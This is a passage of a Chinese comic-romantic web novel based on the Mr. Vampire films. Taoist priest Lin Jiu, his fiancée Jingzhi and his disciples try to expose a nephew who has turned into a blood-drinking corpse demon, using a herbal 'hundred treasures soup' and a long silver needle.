“试试看。”林九余光瞄到小雨那乌溜溜乱转的大眼睛,和不安分动着的手指头,没好气的翻了个白眼,“我知道你能动,别装了。” 小雨揪掉那张对他一点作用都没有的符,恭恭敬敬交还给林九。 然后扯出了一个字面上皮笑肉不笑的笑容,微微放光的眼睛里尽是乖巧,莫名像只摇尾巴的小狗,“能动。” 说话间,静之觉得好像他哪里有些异常,于是又掰开他的嘴看。 小雨乖乖站着,昂起头任她掰,甚至还自主把嘴巴张大了些,发出“啊”的声音,任她查看。(′□`) 静之:“……不是啊,跟我说,嘻---” 小雨嘴横向一咧:“嘻---” 静之俯身,看着那排小米牙,然后又侧过身子,把小雨往林九方向推了推,眉头微皱问道: “他上下四颗獠牙是不是小了点啊?还是我的错觉?” 林九的心里默默有了个猜测,但必须再确认下。 他三指按在他手腕上的脉搏上细查,又翻看了两下小雨的眼皮,然后摇头,“已经死了的尸体,是不会再变成人的。” 静之:“那他这是要变成什么?” 林九脸色渐渐变得凝重,“……僵尸王。” “啊?”静之一时不知道该说什么,脑子里却又想起了任老太爷变化后那副钢筋铁骨的样子。 她凝视了小雨圆圆的脸蛋几秒,然后上手捏。 啧,跟硬橡胶一样,有些捏不动了呢。 “那怎么办?” 小雨看着脸色沉下来的林九,心中警铃狂响,他极速蹦到静之身后藏着,连个衣角都不敢露出来,竟还微微抖着奶声奶气的声音说: “别,别杀我,我,能,能……” 他能了半天,也不知道他对他们两个来说,能起什么作用。 要不是实在哭不出来,小雨估计得当场给林九哭一个。 静之也不知道该怎么办。 任他这样发展下去,以后她和林九可能就打不过他了。 林九现在虽然如日中天,正值壮年,可以后总是会老,会死的。 而僵尸,除非遇到道士消灭他,否则不死不腐,漫漫岁月,都奈何不了他。 林九一时也犯了难。 他走到桌子旁边坐下,凝重的眼神却一秒不离小雨。 养了这么久,说没一点感情是假的。 但是,要将他就此击杀,他还是狠不下那个心。 该怎么办才好…… 静之走过去,握住他放在桌子上的手,小雨见气氛有些凝固,也不敢跟在静之后面凑近,只能四处找着掩体。 然后蹦到门后面藏着,却还露出两只怯怯的眼睛偷看。 他有种预感,他“爹”不会舍得杀他的,他这么乖。 静之:……你是忘了前两天你把你爹娘炸上天的事儿了吧。 她一下就懂了小雨的眼神,叹了口气,坐到林九旁边,轻轻摇了摇他的手,“想想办法吧,他还叫你爹呢。” 林九思索了一会儿,见没个头绪,于是牵着静之就朝书房走。 走到一半,头又伸到门后头,给小雨吓一跳,本就不太灵的嘴巴瞬间卡壳: “我,我,我……” 林九:“别我了,你要是再玩炮,我立刻就灭了你,知道了吗?” 小雨大力点头,贴着墙站得直直的,一副乖巧样。 林九刚硬起的心,一下又软了下来。 “……乖一点。” 小雨(●__●):“……在乖了。” …… 林九在书房里翻看了好久的古籍,地上,桌上,甚至窗边的卧榻上,全是一摞一摞的书。 月如弓,星璀璨。 放在卧榻上的书,被风吹得直翻页。 静之朝外头看了一眼,走过去关上窗,然后拿起他椅背后头撑着的外套,给专注看书的林九披上。 “看半天了,要不歇会儿吧,不急这一时。” 林九却是摇摇头,他一脸严肃的说: “他的变化太快了,以前我一直相信,僵尸是没有人性的,现在……我也摸不准他是因为打不过我,才选择雌伏,还是因为真产生了人类之间的感情。” “若是前者,那么,如果不找到方式牵制住他,待到我控制不住他时,那……” 话未说完,林九仿佛已经能够看到未来尸山血海的模样,于是眉头又紧紧拧了起来,一手撑着脑袋,又细细翻阅起了书本。 窗户外头的小僵尸,看着一直亮到深夜的灯,眼神越来越落寞。 他就这么穿着他的黑斗篷,站在门口,跟个石雕似的。 半夜实在不放心,起来看林九的静之,刚一踏出房门,就看到一个黑影,一句wc脱口而出。 “小雨啊,大半夜站在那干什么,吓死你爹了!” 小雨头低低的,手指轻轻点了点书房门,“我爹,在里面,你是,我娘。” 静之顺了两把乱翘的头发,“我不是那个意思。” 她轻轻推窗户,开了一条小缝。 林九依旧维持那个姿势,她睡前给他做的面都坨了,也没见他动上一口。 她又将窗户悄悄合上,半蹲下身子跟小雨说: “你要是不回棺材,就去守着院子门,你秋生叔叔和文才叔叔什么时候回来了,你来告诉我呀。” 小雨指指书房门,然后双手一并,放在颊边,头一侧。 静之突然笑了,“你是想叫我叫你爹去睡觉啊?” 小雨认真点头,“秋生说,不睡觉,长不高。” 静之又捏了一把他的小硬脸,“要叫叔叔,我去叫啊。” 说完,她推门进了书房。 房间里,低声絮语。 房间外,小雨边朝大门蹦去,边小声嘀咕: “秋生说,要叫,哥哥。” …… 第168章 又惹祸的徒弟 林九依旧不睡觉,恨不得一晚上就把他的几柜藏书翻个遍。 一双锐利的眼睛,也硬生生给熬出了红血丝。 静之知道他这种时候轴得很,劝不动,也只能任他去了。 只是她一旦半夜起来,再要倒头去睡,却是再也睡不着了,索性披着外套,盘坐在卧榻上修炼起来…… 要不怎么说屋漏偏逢连夜雨呢。 她还没入定成功,书房外头就响起了敲门声。 然后是小雨的叫声,“回来,啦,秋生他——” 秋生:“跟你说了叫哥哥啦!” 还没等他磕巴完整句话,秋生像阵风似的,从他后头直接推门而入,“师父,你果然猜的不错,那小子偷拿了人家头发,就是去做一些作奸犯科的事情。” 林九头也不抬,淡淡的说:“哦,那就去报案啊。” 静之放下盘起的腿,理了理裙摆,不置可否。 秋生坐到桌前,给自己倒了一杯茶水喝下,顺了口气,才吐槽道:“这种事儿,无凭无据,连个脚印都没有,报案谁信啊。” 文才倒是眼神闪烁着,两手捏着衣角,少见的没有附和他师兄的话。 静之奇怪的看了他一眼,“你又是怎么回事?点到了,要关机啦?要不先去睡一下?” 文才不明白她说的关鸡是怎么回事,但叫他去睡,他还是听得明白的。 只不过那件事,可不是小事,他哪里还能睡得着。 “不,不用了。” 静之看着他越发躲闪的眼神,眼一眯,“又闯祸了?” 文才身子一僵,脑子里突兀的浮现出他大师伯那张严肃的脸,放在身前的手抖得跟得了帕金森似的,“没,没有,没事。” “抖什么。”静之啧了一声,站起来走近两步,“文才啊,你知不知道,你每次说谎的时候,都会口吃。” 文才:“我,我,我没,没……” 还说没有。 静之环着胸,一脸怀疑看着他。 秋生站了起来,“嗐呀”一声搭上了他的肩膀,倒是给他骄傲上了,“怕个屁,咱们是为民除害,他既然有胆子灵魂出窍,淫人子女,就要承担这个后果。” “嗯?”林九抬头,严肃的看着他俩,“为民除害?你们可别忘了,他是你们大师伯的儿子。” 静之插一句,“是啊,坦白从宽,别瞒到最后,屎盘子兜不住了,才要你们师父给你们擦屁股啊。” “静之……”林九唤了一句。 静之回头,“干什么,我话糙理不糙嘛,你就说是不是这个理?” 林九:“…………” 理是这个理,但是她的话,也太糙了点。 看来,平时得多教她些成语了。 谈话间,静之到林九桌前,俯身靠近。 林九身子下意识往后靠向椅背,“干什么?” “躲什么。”静之眉头微挑,又凑近一些,两指掀开他的衣领,又点了点他脖间已消失的红印子。 小声说:“这事儿,还没跟你算呢。” 阿九这一世,近他身的女人倒是挺多的,她真是防不胜防。 此时的静之万万没想到,林九是有点桃花运在身上的。 不止女人,他连女鬼都能吸引。 亲还没成呢,就因此引发了他们在一起以来,最大的情感危机。 她是懂转移话题的。 此时的林九,无话可说。 只能将话锋一转,针对起了他两个徒弟,“发生了什么,你们说是不说?” 文才看着林九冷凝的双眼,吓得像受惊的兔子,一溜烟躲到秋生身后,“师兄,你,你先说。” 秋生斜了文才一眼,有些无语:“不就是他灵魂出窍,我去吓唬他一下吗,多大点事儿,你真的是,胆子小得跟麻雀一样。” “不,不,不是,他的身体,被,被野狗叼走了。” “什么?!” *3 这回大惊失色的,是除了文才以外的三人。 “我不是叫你看好的吗?”秋生的脸上再也没有刚刚的自豪了,取而代之的是一脸惶恐。 毕竟,大师伯这人,全师门上下都怕他。 他疯狂摇晃着文才,“你刚才怎么不早说?” 文才嗫喏着嘴,小声顶嘴:“你一路拉着我,说要跟师父秀一下战绩的,我哪有时间跟你说。” 林九摁着眉心,只觉得半宿没睡的脑袋,开始一揪一揪的疼,他怒骂: “还杵在这里干什么,还不快去找回来!” 秋生哦了一声,扯着文才就朝门外走去。 走到一半,他回头看向林九,“师父,那你……” 林九瞪他一眼,“我什么,没有了身体,他的三魂七魄都不知道飘哪儿去了,我留下来招魂。” 秋生又转头,想摇静之一起帮忙,林九又制止了他,“一人做事一人当,你们两个自己去!” 秋生嘴一瘪,“师父,夜黑风高的,到哪儿去找身体啊,她鼻子灵,对野兽还有威压在,就让她跟我们一起去吧。” 林九一向尊重她的决定,于是向她投去询问的眼神。 静之耸耸肩,“我无所谓,反正也睡不着,出去走走也行,不过就是要快点了,不然那个谁,可能骨头渣子都不剩了。” 林九点点头,“你看着点他们俩,别让他们在惹出祸了。” “行!”静之跟着秋生文才两人大跨步走出房间。 他俩却突然推搡了起来。 秋生:“喂,你见没见过师父招魂啊?” 文才:“没有,他每次都偷偷的。” 两个人四只眼,齐刷刷看向静之,眼里透着看完再走的渴望。 静之眉稍一挑,“一分钟,不管他完没完事,咱们都得走。” 秋生:“成交!” …… 屋里,林九拿着招魂幡身姿摇曳,每扬一下,便夹着嗓子叫一句石少坚的魂。 秋生和文才捂着嘴憋得满脸通红,唯有静之神色微怔,定定的看着门缝里舞动着的林九,不知道在想什么。 秋生回头,有些奇怪的看着她,“喂,难道不搞笑吗?” 静之直起身板,“有什么可搞笑的。” 他上辈子是个唱戏的,这也算是……专业对口了。 她可是见过他更扭捏的样子呢。 静之表示接受良好。 她环着胸转身,闭上眼忍过那一阵突如其来的泪意,平淡的说: “走吧,一分钟到了。” 秋生啧啧称奇,他师娘笑点一般挺低的,今天倒是有些反常。 突然,一道推力从屋里头袭来。 蹲在门口的秋生和文才顿时被顶了个人仰马翻。 “还不快去!”屋里头传来林九恼羞成怒的低吼。 静之:得,不用看也知道,他肯定又害羞上了。 心头的怅然,被他气急败坏的声音打散。 静之一手一个,从地上提溜起他俩徒弟的后脖领就往外头走。 脚步声渐远。 林九脸上的热度逐渐褪去。 她应该,不会嘲笑他的吧…… 第169章 疑虑丛生 “喂,别找了,天都亮了,你们确定真的在这里?” 静之看着犹如无头苍蝇四处乱转的两个人,无奈问道。 文才第n次拨开那个熟悉的灌木丛,嘴里边碎碎念,“就是这儿啊,怎么会没有了呢?” 秋生找得都不耐烦了,他大大伸了个懒腰,然后靠在懒洋洋的靠在树干上说: “可能被野狗分食了,这回你完了,师伯肯定饶不了你。” 文才慌里慌张转过头,“啊?是你叫我看身体的,那什么……你不是老说有福同享,有难同当吗?” 秋生双手举起,“诶,话不能这么说,我对付他的魂魄,你看身体,各做各的事儿,我可没把他搞得魂飞魄散啊。” “而且,师伯那人你又不是不知道,他要是知道你把他儿子身体搞没了,我看啊……” 文才慌得六神无主,又开始磕巴上了:“他,他会把我怎么样?” 秋生还想再吓唬他,嘴巴就被静之抽了一下。 “还说!主意肯定是你这个师兄出的,别把责任全部推卸给文才,他就那点儿脑子跟战斗力,能打得过野狗吗?” “再说了,阿九昨天是不是叫你们别轻举妄动啊,你私自作弄石少坚,还有理了?!” 秋生捂着嘴,依旧忿忿不平,“昨晚情况紧急嘛,我要是不出手,那个钱小姐直接就被玷污了,哪里来得及通知师父嘛。” “你!……唉……” 实在不知道该怎么说他俩,静之刚举起的手又放了下来,“反正我闻不到味道,回去问问阿九先吧。” 秋生和文才一听到要回义庄见他师父,皆一脸菜色,疯狂摆手。 静之:“……不回去啊?不回去你们要干嘛?阿九总要知道的。” 二人双双后退一步,文才说:“找不到身体回去,师父会扒了我的皮的。” 静之叹了口气,一手撑在树上,无奈问道: “那你想怎么样嘛,再找找?” 文才:“只能这样——” 话还没说完,他就被一把抓住后领拎到树后蹲着。 秋生动了动耳朵,小声说了句“有人”,也矮身躲到就近的灌木丛里。 随着小道上那人越走越近,躲在草丛里的三人眼睛越瞪越大。 “那不是……” 刚出一声,文才的嘴就被死死捂住。 等到那人走远,静之才放开文才。 静之转头小声问,“你确定你昨晚真看到他的身体被野狗叼走啦?不是你太困,产生幻觉了吧?” 没错,刚刚他们三个人看到的,是毫发无损的石少坚。 别说野狗的咬痕了,他脸上连个蚊子包都没有。 文才被静之问得也开始怀疑起了自己,他挠着头想了许久,最后,还是坚定的点点头。 “是真的,我真的看到了,而且他身上的衣服不是同一件了。” 文才傻归傻,但没必要拿这种事儿骗大家。 他一这么说,静之跟秋生的眉头都皱了起来,并不约而同的说了句“奇怪!” 静之思索了一下,决定还是要将这件怪异的事儿告知林九。 “回去啦!” 既然石少坚都正常了,这回二人没有再抗拒,乖乖跟着静之,朝义庄走去。 这里的位置接近镇子口。 三人还没走几步,就听到有人敲着锣大喊着“杀人啦杀人啦!” 话说,刚刚石少坚好像是从镇子口走过来的吧? 难道是他杀的? 三人互相对视,然后不约而同的朝镇子口跑去。 …… 新来的保安队队长站在街边花坛上,俯视着围观群众。 “这些死者的头上都画着奇怪的符,咱们镇上,我听说奇门遁甲耍得最厉害的人,就是义庄的九叔!” “所以我完全有理由怀疑,这件事情,是九叔干的!” 秋生刚偷偷钻进人群里,蹲下看了一眼尸体,就听到这句话。 暗骂一句新队长也是个傻子后,他挡着脸,又默默钻出人群。 看到二脸懵的静之跟文才,他赶紧掰着两人的肩膀转过身,背对着新队长和人群,小声催促道: “赶紧走赶紧走!出大事了,赶紧回去告诉师父!” 静之边走边问:“怎么说?” 秋生:“那几个人都是被咬死的,全身的血都被吸干了!” 文才:“僵尸?” 秋生:“我看这回不是僵尸,他们身上没有尸气,额头上还都被画了符,一看就是被献祭了的阴时生人,而且咱们师父还被怀疑上了。” 静之眼睛微微睁大,“哇,你最近有进步啊,懂这么多?” 她又说:“怎么不怀疑石坚啊?他不是也在隔壁镇吗?” “我上次都答应你了,会好好学习的。”秋生摊手,“还有啊,师父被怀疑这事儿吧,可能是师父的形象更深入人心,大师伯他不常来这里的。” …… 三人马不停蹄回到义庄。 秋生一推开院子门,就朝里面大喊,“师父,出大事了!镇子上死了好几个阴年阴月阴时出生的人!头上都被画了符,新来的队长还冤枉你是凶手啊!” 刚一进到大门,他跨进去的脚,又默默收了回来,“师,师,师伯,您怎么有空来啦?” 秋生心虚得不敢直视石坚的眼睛,头低低的,只敢盯着他下摆处的无极八卦看。 “我不能来吗?” 秋生被那双无情的双眼瞪着,讲话突然比文才还磕巴,“不,不,不是。” 石坚的声音和表情里,完全听不出,也看不出情绪,“你刚刚说,有阴年阴月阴日出生的人死了?” “……是,脖子上,还都被咬了。” 秋生暗戳戳的看了一眼石坚。 秋生:装什么,这件事儿,保不齐是你干的,还搁这儿装。 石坚拿出一张纸递过去,“不是说被画了符的吗,写下来我看看是哪种。” 秋生没接,反而先转头看看一脸凝重的林九,“师父,这,他……” 林九朝他颔首,“画吧。” 他又意有所指说了一句,“你师伯已经知道这件事了。” 秋生脸上的血色瞬间褪了个干干净净,别说接纸了,整个人瞬间倒退好几步。 石坚冷哼一声,斜了一眼秋生: “坚儿的事,是他咎由自取,我不会怪你们。” “既然有人做法伤害乡民,出了人命,你且先画下来就是,他的事……稍后再说。” 秋生小心翼翼打量一下他的脸色,发现他是说真的以后,忍不住向他拱手: “哇,师伯大义!”说着他边接过纸笔边说,“我马上画!” 边画着,他还边碎碎念: “师伯,你儿……石少坚他没事,刚刚我们在镇口还看到他了呢。” 石坚和林九皆围过来看他画,符成之时,结合秋生说的话,石坚心神突然大乱。 他一把提起秋生的衣领,脸上哪里还有身为大师兄的稳重自持,“他走哪儿去了?” 秋生丝毫不敢反抗:“我,我不知道啊,镇上有人敲锣说死了人,我们就过去看了。” 话刚说完,石坚犹如一阵风一般,径直冲向外头,脚步尽显慌张。 见他走了,静之拿起桌面那张纸细看,又问林九: “这什么符啊?他怎么这么慌?” 林九收回看向院门的眼神,叹了一口气。 都是命,害人终害己。 “若是文才没说谎的话,石少坚现在应该已经被炼成妖了。” “那几个阴时生人修复了他的躯体,但是只是暂时的,若他要保持现状,只能不断杀人吸血。” 秋生一脸疑惑,“师父,哪里有那么多阴时人嘛?” 林九剜了一眼秋生,脸色沉得能滴出墨来,“没有阴时人,他的矛头就会指向正常人,只不过需要吸食更多人的血,才能有效果。” “啊?” “那赶紧报案,把他抓起来!” 林九走到祭坛边上,拿了一根银针转身,“你也说了,他跟没事人一样,那个队长还不分是非,你觉得他会信吗?” 林九把银针递过去,“呐,戳他阳穴,凡事先确认清楚再说。” 秋生接过那根二十几厘米长的针,忍不住啧啧出声,“哇,这么长,都能当凶器使了。” 林九眼一瞪,“还不快去!” “哦!” 秋生刚往外走两步,又回头问: “到哪儿找啊?” 林九:“镇上嘛,他现在应该会再去寻阴时人,你到人多的地方找。” “得嘞,文才,走!” …… 静之看着满脸愁容的林九,忍不住凑过去抱住他,“别担心了,他们不是已经出去找了吗?” 林九环住她的腰,轻嗅来自她身上的清香,觉得太阳穴那一跳一跳的神经,才渐渐消停下来。 他牵着她来到旁边的圈椅坐下,“你不知道,昨晚我招魂失败了,我没能把魂交给我师兄。” “啊?怎么会这样?” 林九摇了摇头,也百思不得其解,“不知道,按道理,只要他的魂还在外头飘荡,我一作法,他就会被吸引过来的。” 她瞧了他两眼又两眼,然后试探性抛出一个可能会打碎他三观的问题,“你觉得……会不会是你师兄啊?” 林九面色僵了一瞬,一时半会说不出话来反驳她,但是他的心里,也渐渐泛起疑虑。 他师兄,昨晚怎会来得这么快呢? 几乎是他们仨刚出去,他就来了。 不,他还是不愿意相信,他师兄会做出这种事情。 那可是他亲儿子! 而且他刚刚的慌张又不似作假…… …… 第170章 百宝汤 见他没话可讲,静之哪里不知道他心里的纠结。 她叹了口气,食指轻轻按到他眼下浅浅的黑眼圈上,“你去睡一会儿吧,就算骑自行车,他俩一来一回估计都要一个多时辰,你昨晚可是一宿没合眼了。” 林九拉下她的手,“你也去休息,昨晚你出去这么久,也该累了。” “好。” 林九回到房里坐了一会儿,思量半天,想不出什么头绪。 叹了口气,走到床边和衣躺下,静之就进来了,抱着她的枕头。 他侧头,“……回去睡。” 静之假装没听到他说话,快步走到他床前坐下,两脚快速蹬掉鞋子,然后掀开林九的被子就钻进他怀里。 那个碍事的枕头已经被她抛到床后边去了,反正她现在有臂枕,暖乎乎的。 林九看着他手臂上那个睁着亮晶晶眼睛盯着他的女子,心里一阵无奈,“不许再捣鬼,闭眼睡觉。” 静之点头,依旧睁着眼盯着他看,“才没捣鬼,我睡了。” 林九:………… 他抬手捂住她的眼睛,“静之,别闹,我今天没心情。” 她小小哼了一声,“我才没闹,你睡嘛,我在你旁边修炼,你睡得好。” 林九神情一怔,微皱的眉头突然松开,手心的睫毛还在一颤一颤的,她什么都没做呢,却依旧撩乱了他的心湖。 林九低头亲了一口她的鬓发,“你啊……” 无尽爱意藏入心底,两人抵足同塌。 林九以为烦心事这么多,他怎么也不会睡着的。 然而,当灵气浮动在他身边,将他整个人包裹住的时候,林九还是缓缓合上了双眼。 静之数着时间,只修炼了快一个时辰,便睁开眼。 “死犟,还不是睡着了。” 她轻柔的撑起身子,看了他的睡颜好一会儿,才俯身在他眉间落下轻轻一吻,“还你。” 然后偷偷摸摸下了床…… 林九好眠了1个多时辰,发胀的脑袋终于恢复,精神也好了不少。 正当他理着有些发皱的衣服,从房间里走出来时,就看到静之在亭子里向他招手,“刚刚好,吃饭啦!” 林九面色一和,快步走了过去。 “又让你操心了,抱——”他说。 她的食指摁住他的唇,“诶,说抱歉,不如抱抱我。” “好。”他的回答没有一丝犹豫。 静之不由为之侧目,今天他这么爽快啊? 青天白日的,而且院子门可是没关呢。 还没容她多想,她就被搂进了他暗香浮动着的怀里。 静之一手举着个空碗,一手捏着一把筷子,有些无措,“你今天怎么了?” 难不成,是他大师兄的举措伤透了他的心? 可是,他俩不是本来就处得不咋地嘛。 林九只搂了一小会儿,就克制的放开了她,微微抿唇一笑。 “没什么,吃饭吧。” 静之往他面上瞅了两眼,见他不似精神受到重创的样子,暗暗松了口气。 然后把空碗摆到他跟前。 “我来。”他接过汤瓢,先给她打了一碗。 静之捧着脸,笑眯眯的看他为她布菜,面上浮上一丝欣慰。 看吧,好老公都是培养出来的。 …… “师父师父!又被你说中啦!!” 秋生人还没进来,那中气十足的大嗓门就从院子外头传了进来。 哐当一声响,秋生把自行车往墙角一丢。 “哎呦,师兄,我还在车上呢!”文才整个人歪在墙上,自行车像被子一样,盖在他身上。 秋生哪里管得了他,举着林九交给他的银针,就往院子里冲。 阳光下,那根针不仅没有一丝反光,反而整根焦黑,仿佛被凝固了许久的血包裹住了针体。 静之把他伸过来的手推远了些,“诶诶诶,别伸到饭桌上来啊,把那玩意儿溅到汤里,你就没饭吃了!” “师父你先看,嘿嘿,一回来就有饭吃,师娘你真好!” 他刚想伸手挑起一块肉吃吃,就被林九一筷子打在手上,“去洗手,像什么样子!” 秋生无所谓的笑了一下,收回手,走到檐下的水缸舀水,边洗手,边说着他的见闻: “师娘你是没看到,这么老长一根针从他背后的阳穴戳进去,我觉得都能穿透他的腹部了,那石少坚居然跟没事人似的,果然已经啊,非人哉~” 话全让秋生说了,文才只能附和,“是啊是啊,不是人了已经,师父,这下能报官了吧。” 林九慢条斯理喝着汤,淡淡的问:“怎么报官?” 文才拿起桌子边缘放着的针,“这是物证,我是人证。” “呵。”林九放下汤勺,看着眼前这个脑筋不开窍的徒弟摇了摇头,“你信不信,你一报官,你师父我就是他们第一个抓的人。” 文才:“……那怎么办?” 林九略略思索了下,才开口说道:“用百宝汤。” 静之问:“百宝汤?有什么用?” 林九:“能让他原形毕露的东西,吃饱后,文才你把锅拿到外面的灶上来,秋生你跟我去备料。” …… 半个时辰后。 静之刚洗完碗从厨房里出来,就看到秋生往锅里扔了一坨……屎?! 青天白日,他在院子里煮屎?!! 静之捏着鼻子冲过去,“喂!你搞什么?” “不是我,是师父说要用狗屎的。” 秋生丢完屎,龇牙咧嘴嫌弃得不行的样子,赶紧拿着皂角去洗手,边满脸不解问着往里丢草药的林九:“师父啊,狗屎也算是一宝吗?” “当然是。”林九拿起锅铲,把浮起来的草药往下压了压,“你吃的菜,我种的药,都是这些肥料在起作用,你说是不是宝啊?” 刚说着,就看到静之往院子外头走去,他赶紧问:“你去哪里?” 静之捏着鼻子回头,“我出去买个锅,再买个锅铲。” 林九低头看着浮动起来的狗屎,哦了一声,“早点回来。” 静之答应一声,心想着,她还要去秋生姑妈的店里买两瓶香水去去味道,这味儿已经到了辣眼睛的程度了…… “诶,我跟你去!”秋生脚一抬就想跟上,林九眼疾手快揪起他后脑勺的一撮头发剪下来。 “师父你干嘛?” 林九没有解释,而是抓过他的手,又剪下他的一小块指甲一起丢进锅里。 “好了,这回百宝齐了。” 秋生边打量自己的手指,边摸着秃了一小块儿的后脑勺,小声哔哔: “身体发肤,受之父母,不敢毁伤啊,你怎么不剪自己的?” 林九:“嗯?” 逼逼赖赖的秋生立马闭嘴。 林九搅动了几下锅里的东西,拿起罐子盛了两罐子递给文才,“你们跟她一起出去,要是见到尸妖,好歹有个照应。” 秋生:“那你呢?” 林九撑着灶台一角反问:“你觉得我现在能去镇上吗?” 秋生:“嘿嘿,那我走啦!” 文才捧着臭烘烘的两个罐子,亦步亦趋跟上秋生,“师兄,你拿一个。” 秋生一溜烟跑到门外,“哈哈,谁走得慢谁拿!” …… 第171章 僵尸林在哪 静之一回到任家镇上,才记起来,若是林九是嫌疑犯,那他们仨就是有嫌疑的从犯。 一路上被大家用异样的眼光指指点点,三个人遮遮掩掩,跟做贼似的,逃进了胭脂铺。 “姑妈,你去隔壁帮我去买个铁锅,再买个锅铲呗。” 秋生姑妈正热情的招呼着静之,听到秋生说话,她满不在意的朝后扬扬手。 “你怎么不自己去,铁匠铺那里,你不是熟得很吗?” 她从柜子下面拿出一些新进的胭脂给静之看。 “听秋生说,你马上就要成亲啦,来看看这些胭脂,这大红色正的很,你结婚用正合适,你挑一个,我送给你!” 静之看了一眼秋生,又看了看这个面露精明又不失和蔼的姐姐,“哇,您真好,可不像秋生,一天天抠得很哦。” 秋生听到这话,立马不答应了,他上前一步拍着胸脯理论起来,“哪里是我抠,我也有钱的好不好,要不是师父都给我收着……” 静之倚着玻璃柜面,似笑非笑看着他,“不然你要怎么样?” 秋生点点柜面上精致的胭脂盒,大手一挥,豪气的说:“就这种胭脂,送你两盒,买一盒扔一盒!” 他嬉笑着问:“怎么样?够阔气吧?” 静之呲了一声,说:“这回终于知道阿九为什么要帮你攒着钱了,就你这架势,要是把钱给你,你估计月月得花到口袋空空,才会停手吧。” 秋生姑妈瞥了她那不省心,只会口花花的侄子一眼,“那可不,他小时候啊,零花钱我都不敢给太多,他攒不住钱的,给多少花多少。” 秋生挠着头,有些尴尬的扯住他姑妈的袖口,“哎呀,别说我了,外面的人都在看我们,您帮帮忙嘛。” 秋生姑妈拍去他的手,无奈的说: “唉,我都听说了,我看你师父不是那种人……可我这店没人看也不行啊。” 秋生立马举手,“我看啊!” “……那也行。” 静之立马把荷包塞给她,“麻烦您了。” 秋生姑妈笑着推开荷包,“就这点事儿,麻烦什么,就一个锅,没多少钱,不用给我,平时你对我们家秋生也是照顾得很呢,这臭小子,上次回来都跟我说了。” 两人正在那边推搡客气着,文才却从旁边窜了出来,“师兄,咱们不是要,要泼这个吗?” 静之眼疾手快,一把将荷包塞进她手里,秋生姑妈无奈只能收下,然后扇着鼻子,后退了一步,“这什么玩意儿,这么臭!” 秋生:“哎呀,您别管了,您快去帮我们买锅,不然晚上就没锅做饭啦。” 他又转头对文才说,“你自己去啊!对了。” 他快步走到铺面里头,他常住的房间里,拿了个东西出来。 “呐,这个给你,带上就不怕啦。” 文才看着他手中的包公面具,想了想,还是摇头,“师兄,我一个人不行的。” 秋生也想了想,接过来他手里其中一罐百宝汤,“我也觉得你不太行,留一罐在这里以防万一,别说师兄我不照顾你啊,这次就当做你的历练,去吧去吧。” 文才垮着个脸,“师兄……” 这算哪门子历练,他怕他等会出去,被尸妖一口吃喽。 秋生不为所动,甚至走到柜台后面。 文才转头求静之,“师娘……” 静之趴在玻璃柜上,看着柜子里头,那一排排装在小玻璃瓶里的香水,两眼放光。 “你自己去呗,泼个水多简单啊,而且大庭广众之下,他不敢贸然对你出手的。” 檀香味跟冷松味的,她该选哪个呢? 檀香的话,义庄到处都是这个味道。 冷松味的很少见,而且光听名字,就觉得很适合阿九诶,买一个试试叭。 文才见没一个要帮他的,只能皱巴着老脸,一步三回头的走出去了。 “秋生,帮我把这个冷松香拿出来,我闻闻什么味儿。” 看着那个淡蓝色的小玻璃瓶,秋生瞬间意会,“你要送给我师父用啊?” 静之:“怎么?女生不能送男人香水吗?” “不是。”秋生摇头,并微微拉出托盘,将嵌在软布上的小玻璃瓶拿出来递给她,“你这样,我师父很像被你包养的。” 静之:“说包养多难听啊,我这是……喜欢他,就忍不住想给他送点礼。” 秋生的声音突然转小,“如果这都不算包养,那什么才算呢?” 静之懒得理他。 闻完冷松香,她不禁点点头,确定下来要买它,小心翼翼旋回盖子,把它捏在手里,又开始看起了刚刚他姑妈给她推荐的胭脂。 她都没多少化妆品呢,林九买成亲用的东西,这些私人用品,却是得她自己出来购置的好。 上辈子被二娣教了一辈子化妆,她不说学到八分,也有领悟到一半了。 要不,就趁这个机会,买齐一套,然后给他个惊喜看看? “诶,那个也拿出来给我看看……” …… 正当两人讨论化妆品讨论得兴起的时候,文才急冲冲的推开腰门走了进来。 “师兄!” 秋生抬头,一看文才那张委屈的老脸,就知道他肯定没泼中。 “失败了吧。” 文才垂眉,小声说:“认错鞋子了,泼错人了。” “笨死你算了,你不会认衣服啊?”秋生端着仅剩一壶的百宝汤从柜子后面走出来,“呐,今天就带了两壶出来,这次再不中,你就自己回义庄拿。” 文才接过百宝汤,欲言又止,“师兄,要不……” 话还没说完,来买胭脂的客人三三两两,推门而入。 “客官你好,请问要买点什么呢?” “这位小姐这么漂亮,要不买盒胭脂吧?都是新进的上等货!” 看着正忙到脚打后脑勺的秋生,文才悻悻放下手。 “加油哦!”静之朝文才握拳,小声打气。 文才扯着嘴角苦笑了一下,心一横,把面具从头顶上撩下来戴好,硬着头皮出去了。 …… 不料,他这一出去,大半天都不回来,静之都以为他是不是走丢了。 她跟秋生站在门口张望了一会儿,实在不放心,于是商量着出去找找。 没走几步,就看到文才兴高采烈的回来了。 两人赶紧迎了上去。 “泼中了?” 文才摇头。 秋生咬牙扇了下他后脑勺,“那你高兴个屁!” 文才不甚在意揉着后脑勺,“石少坚可狡猾了,老是避开我,又往没人的小巷子里走,我不敢跟上去。” 秋生:“哎呀,胆子这么小。” 他伸手,“拿来,我去泼!” 文才把罐子递给他,又说:“我听到刚刚有个人说,不用百宝汤也可以让他现出原形!” 秋生一脸狐疑,“谁说你都信啊!是不是傻?” 文才四处张望了下,见街上依旧有人对他们指指点点,赶紧把二人推进店里。 然后小声说: “是大师伯说的。” 静之眉头微微皱起,“你确定你看清楚,听清楚了?” 文才用力点头,“我真确定!就是他。” 秋生摸着下巴,又是摇头,又是啧啧出声,“大师伯这回是要大义灭亲啊,不过他怎么不自己上呢?” 文才挠了挠头,“可能他觉得那是他亲儿子,他自己下不了手吧。” “……也是,虎毒还不食子呢。” 秋生:“算了,你快说,什么办法?” 文才见他终于有了用武之地,于是说得眉飞色舞,“师伯说他现在已经不是人,只要去僵尸林,找到僵尸王嘴里那口棺材菌,以阴寒之物攻极阴之人……哦,对了,他说以毒攻毒,石少坚不仅能现原型,说不定还能让他实力大减呢!” 秋生:“……是不是真的啊?” 文才点点他手上的百宝汤,“那你去,他要是咬你,我,我和师娘再去救你。” 秋生一噎,然后笑骂: “好小子,敢套路我了?说,是不是你不敢去,所以自己瞎掰了个理由啊?” 文才摇头,但是看秋生和静之皆一脸不敢相信的样子,他百口莫辩。 突然,街外头走过一人,他眼前一亮。 扯着两个人的袖子走到腰门后头朝外看。 “你们看!师伯就在那,我没骗你们,我怎么敢拿他开玩笑嘛。” 